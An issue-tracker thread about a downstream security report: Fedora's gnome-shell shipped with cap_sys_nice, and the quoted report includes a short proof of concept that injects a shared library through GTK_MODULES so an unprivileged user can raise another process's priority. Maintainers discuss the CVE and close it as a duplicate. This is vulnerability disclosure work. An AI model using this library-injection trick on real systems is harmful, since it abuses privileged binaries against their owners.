

New Security Issue: CAP_SYS_NICE use

Original reporter: [Marco Benatto](#)

Area: Application

Message

Hello,

my name is Marco Benatto and I'm a Sr. Product Security Engineer at Red Hat. A few time ago we received a security report from an independent researcher about the usage of CAP_SYS_NICE on gnome-shell and how one can abuse it to higher the nice value from an unprivileged task. While we understand the final decision to give gnome-shell CAP_SYS_NICE capability is up to distros/downstream we'd like to assign a CVE (for notification purposes), explicit mentioning only distros that assign this capability to the referred component, may be affected by this issue.

Please let me know your thoughts on this as I don't want to eventually step on upstream's toes.

The original report:

"Hello, I happened to notice a minor issue while working a tool I'm writing. I'm not sure if gnome or the fedora package is to blame, but it seems gnome-shell is now given cap_sys_nice:

```
$ rpm -qf /bin/gnome-shell gnome-shell-3.38.4-1.fc33.x86_64 $ getcap /bin/gnome-shell /bin/gnome-shell cap_sys_nice=ep
```

This seems incorrect. Here is a demo, I'm just a regular user, and this pid has a priority of 0:

```
$ ps -heo nice -q 495980 0
```

I don't have permission to raise that:

```
$ renice -n -20 495980 renice: failed to set priority for 495980 (process ID): Permission denied
```

But it doesn't matter, I can just make gnome do it:

```
$ cat prio.c #include #include #include
```

```
void attribute((constructor)) init() { setpriority(PRIO_PROCESS, 495980, -20); _exit(0); } $ gcc -fPIC -shared -o prio.so prio.c $ env GTK_MODULES=/proc/self/cwd/prio.so /bin/gnome-shell --list-modes
```

And if I look at the priority now...

```
$ ps -heo nice -q 495980 -20"
```

Thanks,

Edited 1 year ago by [Andre Klappper](#)

📁 Drag your designs here or [click to upload](#).

Tasks

0

No tasks are currently assigned. Use tasks to break down this issue into smaller parts.

Linked Items


1

🔗

Reevaluate usage of CAP_SYS_NICE (conflicts with AT_SECURE checks)


#2284


Activity

[Emmanuel Bardi](#) @ebardi · 1 year ago

Developer


Thank you for reaching out.
I'm going to re-assign this issue to the GNOME Shell component, so that the maintainers can comment on it.

[Andre Klappper](#) changed title from New Security Issue to New Security Issue: CAP_SYS_NICE use 1 year ago

[Michael Catanzaro](#) @mcatanzaro · 1 year ago

Developer

Oops. I agree this merits a CVE, but let's note that it's a purely downstream issue because upstream gnome-shell does not use this at all.
We could say "GTK should drop environment variables and not load modules if used by a process with elevated privileges," since GIO attempts to do this. But come on, just don't use GTK from a privileged process. :P

[Carlos Gama](#) @carlosg · 1 year ago


Developer

Ooops. I agree this merits a CVE, but let's note that it's a purely downstream issue because upstream gnome-shell does not use this at all.

+1, point by point.

But come on, just don't use GTK from a privileged process. :P


I'll admit that I missed the GTK_MODULE possibility here. But that will eventually happen in Mutter regardless of privileges.p.

[Simon McVittie](#) @smcv · 1 year ago

Developer


But come on, just don't use GTK from a privileged process

I think perhaps it's really the other way round: if a process uses non-trivial libraries (including but not limited to GTK), then it isn't safe to make it setuid, setgid, setcap, or otherwise have privileges elevated above the privileges of its caller.

[Michael Catanzaro](#) @mcatanzaro · 1 year ago

Developer


Other way around? That's exactly the same! :)

[Simon McVittie](#) @smcv · 1 year ago

Developer


What I meant is that in Shell's case, it's less about "I have a privileged process, now what libraries can I safely use in it?" and more about "I have a process that already needs to use lots of libraries, can I safely make it privileged?" (and the answer is no you almost certainly can't).


Please [register](#) or [sign in](#) to reply


[Florian Müller](#) @fmuellner · 1 year ago


Maintainer


I think it's best to close this is a duplicate of [#2284](#) (closed) (although the (experimental) code that requires cap-sys-nice lives in mutter).
I'll also add that both RHEL and Fedora stopped setting the cap, not sure what other distros do.

[Florian Müller](#) marked this issue as a duplicate of [#2284](#) (closed) 1 year ago

[Florian Müller](#) closed 1 year ago

[Florian Müller](#) marked this issue as related to [#2284](#) (closed) 1 year ago

[Michael Catanzaro](#) mentioned in issue [#2284](#) (closed) 1 year ago

[Michael Catanzaro](#) made the issue visible to everyone 1 year ago

Please [register](#) or [sign in](#) to reply